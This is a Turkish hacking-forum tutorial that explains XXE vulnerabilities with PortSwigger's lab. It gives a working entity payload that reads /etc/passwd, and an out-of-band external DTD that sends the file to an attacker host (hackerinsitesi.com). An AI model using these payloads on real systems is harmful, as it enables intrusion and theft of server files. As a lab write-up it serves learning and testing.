XML Enternal Entitiy (XXE) Zafyeti Nedir

ProbbyGuy

Üye
18 Haz 2020
90
13
Diplerden

XML Nedir


XML kelimesi "eXtensible Markup Language" tamlamanın kısaltılmışıdır.
XML dili 1996`da W3C tarafından yazımı ve anlaşılması kolay olması amacıyla yapılmaya başlanmıştır,
1998`de yapılan XML projesi tamamlanmıştır. Şuandaki kullanım amacı iki farklı türde RDBMS(Veri Tabanı)
kullanan web application`lar için aradaki iletişimi sağlar. Örnek olarak farklı veri tabanı türleri kullanan "A" sitesinden
"B" sitesine bir request gönderirken önce "A" sitesi "x" dilinde bir request yollar "B" sitesi requesti "y" diline parse ederek okur




XML Enternal Entity Nedir

Web Application"un veriyi okurken "BurpSuite" gibi araçlarla kötü niyetli bir hackerin verinin arasına
zararlı kodlarını yazarak sitede "Command Exucution" gibi zafiyetleri exploit edebilir. Fakat XXE zafiyeti genellikle serverdaki /etc/passwd gibi önemli dosya içeriklerini okumak veya download etmek için kulanılıyor
.




XXE Exploit İşlemi

Ben Portswigger"in ücretsiz labını kullanıcağım exploit içinde burpsuite yeterlidir.
Aşşağıda gördüğünüz resimde gelen HTTP isteğinde en aşşağıda XML kodlarına kendi DOCTYPE kodlarımızı
yerleştirip "etc/passwd" dosyasının içeriğğğini okumaya çalışıcaz





Şİmdi "<!DOCTYPE tag [<!ENTITY cagir SYSTEM "file:///etc/passwd">]>"XML kodumuzu yazalım



Yukarıda gördüğünüz payloadın içerisinde "cagir" değerini "file:///etc/passwd" dosya değerine
eşitledik şimdi "cagir" değerimizi çağırarak dosyadaki şifreleri görelim




Dosya içeriği:





Out Of Band XXE

İnternette heryerde güvenlik oldupu gibi bu zafiyet içinde bir güvenlik
önlemi almışlar firewall gibisinden önlemler var bunları bypass etmek için de bir yol var bu sefer
direkt olarak cagir değerini değil kendi sitemizdeki .dtd dosyasının içindeki bir değeri hedef sitenin
"file::///etc/passwd" dosyasına atayıp değeride bi önceki başlıktaki cagir değerine atayacağız
böylelikle cagir değerini çağırdığımızda firewall neleri görmek istediğmizi bulamadan server veriyi parse etmek
isteyececk bizde parse işlemi sırasında veriyi okuyabileceğiz

www.hackerinsitesi.com/xxe.dtd içeriği bu şekilde olucaktır

Kod:
<!ENTITY % good1 SYSTEM "file:///etc/passwd">
<!ENTITY % good2 "<!ENTITY cagir2 SYSTEM
"http://hackerinsitesi.com/%good1;'>">
%good2;

Şimdiki payload içeriğimiz de şu şekilde olucaktır

Kod:
<!--?xml version="1.0"?-->
<!DOCTYPE vvHack SYSTEM "http://saldirgansitesi.com/external.dtd">
<users>
<user>&cagir2;</user>
<pass>123456</pass>
</users>

bu payload ile cagir2 değerini çağırdık cagir2 değeride good2 değerini çağırdı good2 değeri
ise good1 değerini çağırdı good1 değeri ise "file:///etc/passwd" değerine eşit olduğu için firewall bypass ederek tekrardan
şifre dosyasının içeriğini okuduk













 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.